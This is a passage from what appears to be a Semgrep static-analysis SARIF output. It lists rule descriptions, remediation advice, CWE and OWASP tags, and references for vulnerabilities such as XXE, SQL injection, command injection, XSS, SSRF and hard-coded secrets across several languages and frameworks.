[https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","id":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","name":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"help":{"markdown":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","id":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","name":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","id":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","name":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","id":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","name":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"help":{"markdown":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw](https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"help":{"markdown":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config)\n - [https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy](https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy)\n","text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","id":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","name":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","id":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","name":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false)\n - [https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean)](https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean))\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false","id":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","name":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.cookie-issecure-false.cookie-issecure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"help":{"markdown":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","id":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","name":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"help":{"markdown":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag)\n - [https://brakemanscanner.org/docs/warning_types/content_tag/](https://brakemanscanner.org/docs/warning_types/content_tag/)\n","text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","id":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","name":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","id":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","name":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"help":{"markdown":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query","id":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","name":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.database.string-formatted-query.string-formatted-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"help":{"markdown":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","id":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","name":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right 